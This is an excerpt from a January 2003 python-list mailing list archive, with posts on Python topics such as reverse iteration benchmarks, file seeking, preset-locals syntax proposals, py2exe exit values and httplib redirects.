iEUEARECAAYFAj4ha34ACgkQYu1fMmOQldVh3gCgxSUb8WzjuGGDOpbkbqeRCutL
+DwAl03Vjv32Nf/LRlY7AkAZhSEzkSc=
=RJ4W
-----END PGP SIGNATURE-----



From pobrien at orbtech.com  Tue Jan  7 14:02:38 2003
From: pobrien at orbtech.com (Patrick K. O'Brien)
Date: Tue, 07 Jan 2003 13:02:38 -0600
Subject: ANN: Python and DB2 Tutorial on IBM developerWorks
Message-ID: <v1m8vm5ema367@corp.supernews.com>

My Python and DB2 for Linux tutorial was recently published by IBM:

https://www6.software.ibm.com/reg/devworks/dw-db2pylnx-i?S_TACT=102B7W91&S_CMP=DB2DD

Python is a great tool to use with DB2. It combines the ability to quickly 
and simply access a DB2 database with the power to perform more complex 
tasks that require a general purpose programming language. This tutorial 
shows you everything you need to know to interact with DB2 V8.1 using the 
Python programming language. In particular, you'll learn about the Python 
DB2 module, which allows you to connect to a DB2 database, execute queries, 
fetch results, and commit or rollback transactions. By the end of the 
tutorial you will have received a thorough introduction to the entire 
Python DB2 interface.

-- 
Patrick K. O'Brien
Orbtech      http://www.orbtech.com/web/pobrien
-----------------------------------------------
"Your source for Python programming expertise."
-----------------------------------------------



From cnetzer at mail.arc.nasa.gov  Thu Jan 16 22:02:56 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Thu, 16 Jan 2003 19:02:56 -0800
Subject: iterating in reverse
In-Reply-To: <e1JV9.2016$IZ5.977@nwrddc04.gnilink.net>
References: <f57664b9.0301161546.37c85159@posting.google.com> <mailman.1042765110.10945.python-list@python.org> <e1JV9.2016$IZ5.977@nwrddc04.gnilink.net>
Message-ID: <200301170302.TAA24336@mail.arc.nasa.gov>

On Thursday 16 January 2003 17:30, Carl Banks wrote:
> Chad Netzer wrote:
> > FWIW. list.reverse() is often not too bad since it only has to do
> > the work of reversing the list indices in memory, not copying the
> > actual objects themselves.  Iterating backwards does save an O(N)
> > operation, but for small lists, list.reverse() is likely faster.
>
> Iterating a list is an O(N) operation itself.  If .reverse() is
> faster for a small list, it should also be faster for a large list.

Well, true of course.  I was thinking there might be possible cache 
poisoning effects that would occur for large lists (since a 
copy/reverse/iteration implies three linear passes though the indices, 
versus 1 for reverse_iter()). 

> The only problem with .reverse() is you might want to keep the
> unreversed list around.

Yeah, so you may need to do a copy/reverse  or a reverse/reverse, to 
keep the original list.

I wrote a quick, crude benchmark, and it seems that list.reverse() is 
always a speed win over reverse_iter.  It would be interesting to 
compare the other methods suggested in this thread.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
from __future__ import generators
from __future__ import division

import time

def reverse_iter( seq ):
    i = 0
    n = len( seq )
    while i < n:
        j = -(i + 1)
        yield seq[ j ]
        i += 1

if __name__ == '__main__':
    N = 100

    seq = range(1,10,2)
    seq += range( 10, 100, 20 )
    seq += range( 100, 1000, 200 )
    seq += range( 1000, 10000, 2000 )
    seq += range( 10000, 100000, 20000 )

    print "t1: avg time for list reversal, t2: avg time for reverse 
iterator"
    for list_len in seq:
        l = [None] * list_len

        start_time = time.time()
        for i in range( N ):
            g = l[:]
            g.reverse()
            for j in g:
                pass
        end_time = time.time()
        reverse_list_time = (end_time - start_time) / N

        start_time = time.time()
        for i in range( N ):
            for j in reverse_iter( l ):
                pass
        end_time = time.time()
        reverse_iter_time = (end_time - start_time) / N
        ratio = reverse_iter_time / reverse_list_time

        s = "list len %7d: t1 %f,\tt2 %f,\tratio %f"
        print s %(list_len, reverse_list_time, reverse_iter_time, ratio)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
$ python reverse_iter_test.py
t1: avg time for list reversal, t2: avg time for reverse iterator
list len       1: t1 0.000007,	t2 0.000009,	ratio 1.368592
list len       3: t1 0.000008,	t2 0.000014,	ratio 1.787987
list len       5: t1 0.000009,	t2 0.000019,	ratio 2.232744
list len       7: t1 0.000010,	t2 0.000046,	ratio 4.472117
list len       9: t1 0.000145,	t2 0.000029,	ratio 0.199969
list len      10: t1 0.000011,	t2 0.000032,	ratio 2.855135
list len      30: t1 0.000022,	t2 0.000080,	ratio 3.729080
list len      50: t1 0.000030,	t2 0.000130,	ratio 4.276323
list len      70: t1 0.000040,	t2 0.000180,	ratio 4.500167
list len      90: t1 0.000049,	t2 0.000230,	ratio 4.727376
list len     100: t1 0.000054,	t2 0.000253,	ratio 4.700716
list len     300: t1 0.000151,	t2 0.000756,	ratio 5.016149
list len     500: t1 0.000241,	t2 0.001348,	ratio 5.591028
list len     700: t1 0.000336,	t2 0.001767,	ratio 5.254217
list len     900: t1 0.000430,	t2 0.002273,	ratio 5.287656
list len    1000: t1 0.000477,	t2 0.002526,	ratio 5.299844
list len    3000: t1 0.001417,	t2 0.007579,	ratio 5.347900
list len    5000: t1 0.002358,	t2 0.012665,	ratio 5.370679
list len    7000: t1 0.003344,	t2 0.018058,	ratio 5.400407
list len    9000: t1 0.004256,	t2 0.022734,	ratio 5.341331


-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From chris.gonnerman at newcenturycomputers.net  Thu Jan 16 08:14:38 2003
From: chris.gonnerman at newcenturycomputers.net (Chris Gonnerman)
Date: Thu, 16 Jan 2003 07:14:38 -0600
Subject: Reading / writing...
References: <00fc01c2bd5f$3ae95c30$4802a8c0@blair>
Message-ID: <006901c2bd61$43595300$ba01010a@local>

----- Original Message ----- 
From: "Andrew Thompson" <andrew.thompson at ashecastle.com>


> 
> Has anyone experienced a file.write() operation not actually writing
> anything to a file, although the file pointer moves on... (I was
> comparing prior and post seek() values to check how much data was
> written)

This is documented, normal behavior... for all Unix/Linux systems
I am familiar with, for files opened in read/write mode you MUST 
seek() before switching from read() to write() or vice-versa.

For Windoze... dunno.  The seek() isn't going to hurt anything (seek
from "here" for an offset of 0).

> In the example below, the write() operation works fine if it is preceded
> by a seek(), but fails if it is preceded by a read().
> 
> My original thought was that the new data simply wasn't yet flush()ed
> into the file, but no amount of flush()ing can make the new data arrive
> anywhere in the file.  
> 
> I am aware of the importance of flush() on all reads() after writes() ,
> but cannot find anything in the literature the other way around.
> 
> Can anyone help?
> 
> 
> Andrew
> 
> 
> 
> >>> f=open('test','wb+')
> >>> f.write('boo')     #write a simple 3 char string.
> >>> f.tell()
> 3L
> >>> f.write('a')       #write a further character
> >>> f.seek(0)
> >>> f.read(3)      #this all works.
> 'boo'
> >>> f.write('b')   #this write fails, although the file pointer moves
> on...
> >>> f.seek(3)
> >>> f.read(1)       #we still have the original character.
> 'a' 
> >>> f.seek(3)       #trying again, but do a direct seek() first.
> >>> f.write('b')
> >>> f.seek(3)
> >>> f.read(1)
> 'b'
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 




From pinard at iro.umontreal.ca  Sat Jan 25 11:24:19 2003
From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois_Pinard?=)
Date: 25 Jan 2003 11:24:19 -0500
Subject: IDLE Python GUI
In-Reply-To: <pan.2003.01.25.14.53.07.162637@yahoo.com>
References: <3e32a1a6_4@corp.newsgroups.com>
	<pan.2003.01.25.14.53.07.162637@yahoo.com>
Message-ID: <oqsmvhw630.fsf@titan.progiciels-bpi.ca>

[Christopher Culver]

> On Sat, 25 Jan 2003 09:18:56 -0500, Norm wrote:
> > Q.  What does the real Python community use for creating Python programs?

> Emacs.  I imagine most people here would say the same.

Without real statistics, which we do not have (so far that I know), I would
not be so assertive.  In the Unix world, `vi' is pretty popular as well.  In
the Microsoft world, I would presume that neither Emacs nor `vi' are so
popular, yet surely, both have their users.

Many editors, often listed and discussed here, are Python aware in one way
or another.  But what the "real" Python community prefers, I do not know,
whatever "real" means! :-)

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From gerhard.haering at gmx.de  Fri Jan  3 18:08:27 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 3 Jan 2003 23:08:27 GMT
Subject: how to submit a patch?
References: <3e160e11$0$229$a1866201@newsreader.visi.com> <slrnb1c3u0.3kp.gerhard.haering@lilith.my-fqdn.de> <3e1616fc$0$174$a1866201@newsreader.visi.com>
Message-ID: <slrnb1c5vc.3rq.gerhard.haering@lilith.my-fqdn.de>

Grant Edwards wrote:
> I know how to create the patch, and I've been to the Python
> patch manager page at SF.  
> 
> Using the SF patch manager, how do you submit a patch?
> 
> IOW, where is the "submit patch" button hidden?

First, you need to log in.

Then, on the 'Patches' page, there's a link, 'Submit New'.

If you go there, fill out the obvious fields and checkboxes, until you
get to these nonobvious ones:

Check to Upload and Attach a File [ ]
[                    ] [Browse]

You *need* to check the "Check to ..." checkbox, then use the 'Browse'
button to upload your file.

If you don't check the checkbox, your upload won't appear.

HTH,

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From phr-n2002b at NOSPAMnightsong.com  Tue Jan 14 13:17:29 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 14 Jan 2003 10:17:29 -0800
Subject: Email package and mailbox module
References: <3E245102.8040106@nipltd.com>
Message-ID: <7xlm1nwq86.fsf@ruckus.brouhaha.com>

Chris Keyes <chrisk at nipltd.com> writes:
> But from what I can see the Email module would me a much much better
> way of getting at the contents of the message. I'm just not really
> sure how it works and how to mesh to two together.
> 
> Does anyone know of any good examples I may be able to have a good
> peer at? 

I seem to remember there's one in the Python cookbook.



From tjreedy at udel.edu  Thu Jan  2 14:26:38 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 2 Jan 2003 14:26:38 -0500
Subject: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com>
Message-ID: <aJWcnRWzQtc7E4mjXTWcqA@comcast.com>

> I'm intrigued by TDD and have started "test first, code second" on
an
> in-progress project (a large Zope/Python monster that is a
wart-on-a-wart, a
> bag-on-a-bag).

For those who missed the reference in a recent thread, there is an
online PDF prepublication version of Kent Beck's new book Test-Driven
Develoopment By Example:

http://groups.yahoo.com/group/testdrivendevelopment/files/TDD17Jul2002
.pdf

accessible via

http://groups.yahoo.com/group/testdrivendevelopment/files/

Part II uses Python (though some indents got hosed in that version --
don't know about the published version).  I read thru it in an
afternoon and now see how I could actually do it once I make a bit
more investment in learning the details of unitttest.

Terry J. Reedy





From mcfletch at rogers.com  Fri Jan 31 12:26:06 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Fri, 31 Jan 2003 12:26:06 -0500
Subject: Reliably getting/setting the (current) encoding name?
In-Reply-To: <BYr_9.148223$AA2.6032500@news2.tin.it>
References: <mailman.1043989740.10681.python-list@python.org> <BYr_9.148223$AA2.6032500@news2.tin.it>
Message-ID: <3E3AB1AE.2040100@rogers.com>

Alex Martelli wrote:
...

>>    How does one set the default encoding to be used by:
>>        str( unicode )
>>    
>>
>
>with sys.setdefaultencoding -- but site.py UNBINDS that name
>right after trying to import sitecustomize -- the idea being
>that setting the default encoding is a task for the site, NOT
>for authors of libraries etc.
>
>If you disagree, "reload(sys)" will let you get at
>sys.setdefaultencoding at any time -- use at your own risk.
>
>Alex
>  
>

I don't know whether I disagree per se, but I do find it less than 
convenient :o/.  I suppose for now I will simply require all 
applications using the library to do the reload of sys and set of the 
default encoding to the default encoding for the system.

Asking users to modify site.py doesn't sound appropriate for stand-alone 
GUI applications. locale.getdefaultlocale() should be giving you the 
user's system-set default locale if I'm not mistaken.  In other words, I 
suppose I do disagree :) . It really sounds like something that should 
be set at the operating-system level and accessed automatically by 
Python, with the optional ability to override for particular tasks, 
rather than something for which Python should be creating its own 
setting.  There are probably some valid and important cross-platform 
issues which make that undesirable, of course :) .

Thanks for the explanation,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From cben at techunix.technion.ac.il  Thu Jan 16 07:37:50 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Thu, 16 Jan 2003 14:37:50 +0200
Subject: syntax for preset locals without using dummy args with defaults
In-Reply-To: <b04n4r$ued$0@216.39.172.122>
References: <mailman.1042617748.21494.python-list@python.org>
 <b04n4r$ued$0@216.39.172.122>
Message-ID: <Pine.GSO.4.44_heb2.09.0301161417130.925-100000@techunix.technion.ac.il>

On 2003-01-15, Bengt Richter wrote:

> On Wed, 15 Jan 2003 10:00:56 +0200 (IST), Beni Cherniavsky <cben at techunix.technion.ac.il> wrote:
>
> >On 2003-01-14, Andrew McGregor wrote:
> >
> >> How about:
> >>
> >> with:
> >>   z = some_expression
> >>   z1 = some_other_expression
> >>   # for consistency, should allow this too.
> >>   def quux(bar):
> >>     do_something()
> >> do:
> >>   def foo(x, y=default):
> >>     do_stuff()
> >>
> >Yes, this is probably optimal (or very close) if we want it at all.
> >
> I have a couple of reservations: 1) I think already the distinction between
> what I have been calling "def-time" and "call-time" is often missed (i.e.,
> def ... defines executable code that builds the executable function whose
> code later gets executed when it is called, and thus there are two distinct
> execution times and codes involved), and the above doesn't make it plain
> unless you already know.
>
> The keywords "with" and "do" in the above don't strongly suggest what is
> supposed to happen IMO, especially since "with" carries a Pascal meaning.
>
I did't refer to the specific keyword names.  with/do are too common to be
reserved for this purpose and don't convey the meaning to an uninitiated
reader.  Now that I think of it, the whole construct is too subtle to be
understood correctly by somebody unfamiliar with it.

> Also, what is the scope and environment of the "do"? I.e., what would
> other statements in the do: suite mean if they appeared before or after
> the def?
>
The same as the def: executed in a nested scope, inside of the scope
established by the do.

> It is crucial to the semantics that it be understood that the expressions in
> the suite of the "with" are only executed once, yet the bindings are copied
> each time the function is called, to preset the local bindings afresh.
> IOW, the effect is something[1] like:
>
If they are copied every time, what do you you gain over just initialising
every time the function is run?  That you don't compute the expressions
again.  But assuming you don't do nasty vars() manipulation, you can't
rebind the bindings of the outer scope - so you don't need to copy again
every time.

>   def _presets():
>       z = some_expression
>       z1 = some_other_expression
>     # for consistency, should allow this too.
>       def quux(bar):
>           do_something()
>       return vars() # capture and return the bindings of interst
>   _presets = _presets() # (the function gets one-time use)
>
>   def foo(x, y=default):
>        vars().update(_presets) # hidden part of locals setup
>        do_stuff()
>
The semantics should be precisely:

def _presets_wrapper():
    z = some_expression
    z1 = some_other_expression
    def quux(bar):
        do_something()

    def foo(x, y=default):
        do_stuff(x, y, z, z1)
    return foo

foo = _presets_wrapper()

> But the functionality is close enough to suggest passing a dict somehow
> to def as an initializer. And the _presets() trick above suggests an
> alternate spelling for a dictionary literal, which might by default imply
> an underlying implementation like a function local namespace (imagining
> a fast implementation where its representation couldbe memcopied like
> a C struct for purposes of initializing function locals before parameter
> bindings are superimposed). Such a dictionary literal might be written like:
>
>   _presets = {:
>       z = some_expression
>       z1 = some_other_expression
>       # for consistency, should allow this too.
>       def quux(bar):
>           do_something()
>
> (where there is no closing ':}' but instead '{:' introduces a suite, and the
> dict value consists in the bindings created therein).
>
You open the can of worms of suites inside an expression.  If you don't
insist on that, you already have such a syntax for dictionary creation:

class _presets:
    z = some_expression
    z1 = some_other_expression
    def quux(bar):
        do_something()
_presets = _presets.__dict__

You can probably automate the last line to with a metaclass.

> Then if you could pass a dict as an initializer to def, you could write, e.g.,
>
>   def(_presets) foo(x, y=default):
>        do_stuff()
>
> Sort of like passing base classes, but a bit different ;-)
>
>
> BTW, the other thing the above doesn't address is persistence of bindings
> (analogous to C static variables containing pointers the still point
> as before on the next call).
>
Well, if you don't copy again you have a simple closure.  But updating is
dirty...  And static variables in C are almost always better expressed as
classes (or structs).

> If there were something analogous to base classes and __metaclass__ for
> functions, it might be interesting...
>
I.e. a way to take a suite and hand it as a code object to some
function/object?  You are about to start a new macros thread :-)

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>

There is an Excel spreadsheet here.  Do you want to open it? y
There was a grid bug in the spreadsheet.  The grid bug bites.




From j-jinkins at usa.net  Sat Jan  4 12:43:42 2003
From: j-jinkins at usa.net (Jim Jinkins)
Date: Sat, 04 Jan 2003 17:43:42 GMT
Subject: Help, replacing the actual value from a data strucutre in a iterator
References: <c490a7ae.0301031942.5f39a6a8@posting.google.com>
Message-ID: <i3FR9.144647$VQ2.39387449@twister.midsouth.rr.com>

george hart wrote:

>Hello,
>
>My problem is that I have a very complex data structure I need to
>iterate over and change certain values to.  I wrote a 'generator' to
>iterate over my data structure but when i call the next() method in
>the generator object I am returned a value that cannot be used to
>modifiy the original data structure.
>
>Here is a simplified version of my problem:
>
>a=[0,1,2,[20,30,40],9,3]
>def generator(l):
>    for i in l:
>        if type(i) is list:
>            for q in generator(i):
>                yield q
>        else:
>            yield i
>
>g=generator(a)
>o=g.next()
>o=100   # where i want this assignment to change a[0] to 100
>print a[0]  #thus a[0] would then print out 100
>
>
>Thanks for any help,
>George.
>  
>
from __future__ import generators
a=[0,1,2,[20,30,40],9,3]
def generator(l):
    for i in range(len(l)):
        if type(l[i]) is list:
            for q in generator(l[i]):
                yield q
        else:
            yield l, i

g = generator(a)
for x in g:
    print "x=%s" % str(x)

g = generator(a)
o, i = g.next()
print "o=%s    i=%s" % (str(o), i)
o[i] = 100
print "Now o[0]=%s" % o[0]


If the object structure to be traversed is more complex than list within 
list, then return a mutable object.  The generator will become more 
complex too.

from __future__ import generators
a=[0,1,2,[20,30,40],9,3]

class RefList:
    def __init__(self, l, i):
        self.l = l
        self.i = i

    def get(self):
        return self.l[self.i]

    def set(self, x):
        self.l[self.i] = x

def generator(l):
    for i in range(len(l)):
        if type(l[i]) is list:
            for q in generator(l[i]):
                yield q
        else:
            yield RefList(l, i)

g = generator(a)
ref = g.next()
print "ref.val=%s" % ref.get()
ref.set(100)
print "now ref.val=%s" % ref.get()

    Jim Jinkins






From p-abel at t-online.de  Wed Jan 29 12:48:52 2003
From: p-abel at t-online.de (Peter Abel)
Date: 29 Jan 2003 09:48:52 -0800
Subject: py2exe - return information from .exe program
References: <59e5b87.0301281315.7802eaf3@posting.google.com>
Message-ID: <13a533e8.0301290948.4c2f87d1@posting.google.com>

mirandacascade at yahoo.com (Miranda Evans) wrote in message news:<59e5b87.0301281315.7802eaf3 at posting.google.com>...
> Assume xyz.exe is a program that was produced from  xyz.py by running
> the py2exe utility.  Currently, xyz.exe displays information on the
> screen, but it does not return information to the calling program. 
> Can xyz.py be modified so that xyz.exe returns a value (e.g. a string)
> to the process that called it?  Can anyone point me to a sample .py
> script which, when 'compiled' with py2exe produces a .exe that returns
> information to the calling program?  Thank you.

If you want to get the exit-code of the called program
say:
>>> print os.system('dir c:\\temp')
0

If you want to get the output of the called program
say:
>>> print os.popen('dir c:\\temp').read()
 Datentr?ger in Laufwerk C: ist BOOT
 Datentr?gernummer: 042E-13F1

 Verzeichnis von c:\temp

21.11.2002  15:34       <DIR>          .
21.11.2002  15:34       <DIR>          ..
               0 Datei(en)              0 Bytes
               2 Verzeichnis(se),   1.446.723.584 Bytes frei

If you want to exchange information between two processes
as between to subroutines by para list, you have to do
a little bit more.
You have to do something like:
 - sockets       or
 - shared memory or
 - named pipes

Peter



From tim at nowhere.com  Tue Jan  7 08:42:29 2003
From: tim at nowhere.com (TimC)
Date: Tue, 07 Jan 2003 13:42:29 +0000
Subject: Jython/Python Libs
In-Reply-To: <fDsS9.20773$9N5.1860123@newsread2.prod.itd.earthlink.net>
References: <g4sS9.20725$9N5.1854174@newsread2.prod.itd.earthlink.net> <fDsS9.20773$9N5.1860123@newsread2.prod.itd.earthlink.net>
Message-ID: <3e1ad944$0$241$ed9e5944@reading.news.pipex.net>

Terry Hancock wrote:
> Terry Hancock wrote:
> 
>>Ideally I'd also catch the few cases of modules which don't work correctly
>>for language compatibility regions, but I know that can be pretty subtle.
> 
> 
> Um, that's supposed to read "reasons" not "regions" in case anyone was 
> confused.
> 
Hi Terry
I don't think that this is as simple as it sounds: Jython comes with 
different *versions* of some standard libararies and therefore behaves 
differently from Python distributions (I've noted this in relation to 
XML where jython has some old modules from PyXML that aren't in a 
standard Python release and don't work the same as the more recent PyXML 
  - try looking at the DefaultHandler in saxutils).

Also, I don't think that there are regression tests for the various 
libraries that can be run in a standard way (unfortunately).

(it looks to me pretty much like you are trying to do some of what I was 
looking for in my post of 2/1/03

tc




From Newsletter at KitsapBands.com  Thu Jan  9 17:44:41 2003
From: Newsletter at KitsapBands.com (KitsapBands Newsletter)
Date: Thu, 9 Jan 2003 14:44:41 -0800
Subject: Help save KitsapBands.com
Message-ID: <200301092244.h09MifO19001@www.kitsapbands.com>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030109/445a8976/attachment.html>

From LogiplexSoftware at earthlink.net  Fri Jan 10 10:43:23 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 10 Jan 2003 07:43:23 -0800
Subject: YAI: syntax for preset locals without using dummy args with
	defaults
In-Reply-To: <avmoeu$v8p$0@216.39.172.122>
References: <avmoeu$v8p$0@216.39.172.122>
Message-ID: <1042213403.1820.3.camel@software1.logiplex.internal>

On Fri, 2003-01-10 at 07:22, Bengt Richter wrote:
> --------------------------------------------------------------------------------
> [1] Something like
> 
>     def foo(x, y=default):
>         presets:
>             z = something
>             pi = __import__('math').pi
>             twopi = 2.0*pi # not possible in parameter list version
>             if z < 0: raise ValueError, 'Def-time preset check, possible with presets: block'
>         if x<0 or y<0: raise ValueError, 'Call-time parameter check'
>         return pi*(x*x-y*y)
> 
> I thought the first version above might be easier to implement, but
> either way, having a sanctioned way to accomplish safe presetting of
> function locals should make for a performance boost in many cases.
> 
> I think either version will be interesting for method definitions too.

If I understand your intent (only initializing the 'presets' a single
time), you can get the same performance boost using a class:

class __foo:
    # presets
        z = 1
    pi = __import__('math').pi
    twopi = 2.0*pi # not possible in parameter list version
    if z < 0: raise ValueError, 'Def-time preset check, possible with
presets: block'

    def __call__(self, x, y = 1):
        if x<0 or y<0: raise ValueError, 'Call-time parameter check'
        return self.pi*(x*x-y*y)

foo = __foo()

print foo(1, 2)
print foo(3, 5)


Obviously the downside to this approach is the 'superfluous' __foo
definition that won't be used again, but this works now and doesn't
require any new syntax.


Regards,

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From johnroth at ameritech.net  Thu Jan 16 11:10:43 2003
From: johnroth at ameritech.net (John Roth)
Date: Thu, 16 Jan 2003 11:10:43 -0500
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <mailman.1042672950.5712.python-list@python.org> <b05r5n$oan$0@216.39.172.122>
Message-ID: <v2dmafqgjf6ad8@news.supernews.com>

"Bengt Richter" <bokr at oz.net> wrote in message
news:b05r5n$oan$0 at 216.39.172.122...
> On Wed, 15 Jan 2003 18:21:40 -0500, Steven Scott
<bodoni26 at resnet.gatech.edu> wrote:
>
> >Quoting Steven Scott <Steven.Scott at Synchrologic.com>:
> >>=20
> >> If/elif/else remains the most common method.  If Python ever gains
> >> something
> >> like a switch statement you can bet the farm it won't have a "fall
thru=
> >"
> >> feature though, so the way you've coded your C switch statement
wouldn'=
> >t
> >> work.
> >>=20
> >
> >but the absolute /only/ reason you'd use a switch over an if (besides
> >looking better) is fall through.
> >
> Well, if you look at the code for an optimized C switch I think you'll
> find another reason. I.e., if you can predetermine that all the switch
> case _constants_ form a compact sequence of values, you can generate a
> computed jump through a table that is a lot faster than a series of
> conditional jumps, and even in cases where you have to introduce
conditional
> jumps for boundary cases you may still gain.

If all of the switch case _constants_ are single constants, you can use
a dictionary or a list of functions.

And I'd agree that I don't want fall through. Ever. It creates difficult
to
find bugs.

John Roth
>
> Regards,
> Bengt Richter





From mwilson at the-wire.com  Thu Jan 30 09:46:41 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Thu, 30 Jan 2003 09:46:41 -0500
Subject: [ [ [] * y for y in range(3) ] * x for x in range(2) ]
References: <2463d77d.0301292034.1fdc47bd@posting.google.com>
 <eppstein-96744E.22015129012003@news.service.uci.edu>
 <2vhh3v4ue9tsn5lgk6lpl7cd92i2s8fgh9@4ax.com>
Message-ID: <RrTO+ks/KP+E089yn@the-wire.com>

In article <2vhh3v4ue9tsn5lgk6lpl7cd92i2s8fgh9 at 4ax.com>,
Chirayu Krishnappa <thephoenix235 at gmx.net> wrote:
>This is whats wrong.
>
>>>> L=[[[]]*3]*2
>>>> L
>[[[], [], []], [[], [], []]]
>>>> L[0][0]=1
>>>> L
>[[1, [], []], [1, [], []]]


Exactly.  To put it another way:

L = [ [[]]*3 ] * 2

is equivalent to

a = []
b = [a, a, a]
L = [b, b]

so that L[0] and L[1] refer to the same object -- and each
of the three items in that object refer to another unique
object.  Whatever you do to one, you do to the other(s), in
most cases.

   One thing that will break the symmetry is to assign
something different to either L[0] or L[1].  This is
effectively what all the other solutions do:  make sure that
the elements of L refer to different list objects from the
outset.

L[1] = [17]

or

L[1] = [[],[],[]]

for instance, would remove part of the problem by making
L[1] refer to a brand-new list object, although (assuming
`b`, used above, hasn't been re-bound in the meantime)

c = b
L[1] = c

would leave us right where we were before.


   It seems my post is just a long-winded way of avoiding
talking about references and PyObjects and the fact that the
effect of `=` is just to associate a name (in the form of a
character string) to a reference to an object, using some
particular dictionary.  Maybe it'll shed some light anyway.

        Regards.        Mel.



From francesco at akiraland.net  Wed Jan 29 11:07:39 2003
From: francesco at akiraland.net (nero)
Date: Wed, 29 Jan 2003 16:07:39 GMT
Subject: import View
References: <290120031451363280%francesco@akiraland.net> <3E37F42F.790317F9@engcorp.com>
Message-ID: <3E37FC4B.3060102@akiraland.net>

Peter Hansen wrote:
> francesco nerieri wrote:
> 
>>cannot find any lib that let me have a "import View", anyone knows wich
>>module had I to install?
> 
> 
> Are you saying you want to be able to type "import View" and have it
> do something other than give an error?
> 

yes.. I've found this python code:

import Numeric
import MLab
import View

...code...


and I'm not able to run it because the interpreter says..
ImportError: No module named View

thanks,
   francesco.




From skip at pobox.com  Wed Jan 29 12:15:18 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Jan 2003 11:15:18 -0600
Subject: RHSA-2002:202-25
In-Reply-To: <20030130.014306.74756031.yasusii@lowlife.jp>
References: <20030129.141438.70474179.yasusii@lowlife.jp>
        <15927.62508.299637.944007@montanaro.dyndns.org>
        <20030130.014306.74756031.yasusii@lowlife.jp>
Message-ID: <15928.3110.960022.272572@montanaro.dyndns.org>


    >> This is in 2.2.1 and earlier.  I believe the fix was applied to os.py
    >> version 1.59 last August:

    Yasushi> Python 1.5.2 and 2.1.3 also contains the fix? 

I don't think so.  Perhaps 1.5.2 doesn't have the vulnerability though.  A
lot has changed in the os module since then.  I don't have the source online
to check though.  2.1.3 has the bug though.

    Yasushi> Many people are still using 1.5.2. and Zope users are using
    Yasushi> 2.1.3.

1.5.2 is dead and gone.  It's time to upgrade.

Attached is a context diff between os.py 1.58 and 1.59.  You may be able to
manually apply it in concept to your 2.1.3 version of os.py.

Skip

-------------- next part --------------
A non-text attachment was scrubbed...
Name: os-bug.diff
Type: application/octet-stream
Size: 2640 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030129/6a5e134e/attachment.obj>

From andrew at indranet.co.nz  Sun Jan 12 23:56:19 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Mon, 13 Jan 2003 17:56:19 +1300
Subject: Doesn't work (was: Re: httplib won't accept URL with parameters
 (???))
In-Reply-To: <avt5f3$1b3$04$1@news.t-online.com>
References: <avcvi1$5av$03$1@news.t-online.com>
 	<20030106220321.49b87b0a.pythonhda@yahoo.com.replacepythonwithlinux>
 	<avfgo9$clb$05$1@news.t-online.com>
 	<20030107191323.72236889.pythonhda@yahoo.com.replacepythonwithlinux>
 	<avh1a0$kle$04$1@news.t-online.com>
 	<20030108125105.0e956b3c.pythonhda@yahoo.com.replacepythonwithlinux>
 	<avl383$vs2$05$1@news.t-online.com>
 <20030110140326.16679355.pythonhda@yahoo.com.replacepythonwithlinux>
 <avt5f3$1b3$04$1@news.t-online.com>
Message-ID: <80970000.1042433779@localhost.localdomain>

The reason appears to be that you got a 302, which is a redirect.  You then 
have to parse the response and figure out the real URL, which wget and your 
browser are doing for you.

HTTPConnection is probably easier to support this with, because the 
response is given back in a HTTPResponse object already partly parsed.

That the library do redirects (possibly not by default) should probably be 
a feature request.

Andrew

--On Monday, January 13, 2003 02:47:15 +0100 Phillip <ritschratsch at gmx.de> 
wrote:

> pythonhda schrieb:
>> On Fri, 10 Jan 2003 01:20:16 +0100
>> Phillip <ritschratsch at gmx.de> wrote:
>>
>> ...
>>
>>
>>> > and then use the >HTTPConnection class becuase that is
>>> > what is in use now.
>>>
>>> I don't quite get the documentation on how I'm supposed to tackle this.
>>> HTTPConnection has different parameters (3 instead of 2) and some other
>>> issues that aren't *that* well dosumented. From what I gather I just
>>> can't change the constructor and be done with it....
>>> A, well, we'll see.
>>>
>>
>>
>> I don't quite understand what you mean. You didn't change the contructor
>
> No. But just chaning it won't make it work with HTTPConnect either.
> I'dhave to rewrite the whole class (not that it's that big... but still)
> That's all I'm saying.
>
>> in your original code. You basically wrapped procedure code into a class
>> Check section 11.6.3 in the docs (I have Python 2.2.1) I was able to
>  > reproduce what you wanted to do originally (using the examples from
>  > that section) in about 7 lines of code.
>>
>> Also check out:  http://web.pydoc.org/2.2/httplib.html
>
> There is no way whatsoever that I can get it to work with what I've got!
> Wget works, so I presume that it's the parameters that are passed that
> httplib just plain can't handle. The problem is that this isn't
> documented anywhere.
> Could it be that the parameters invoke a serverresponse that is somehow
> different from a normal response to an URL and therefore isn't 'sensed'
> by httplib? When I use a any kind of Browser or wget it works! It simply
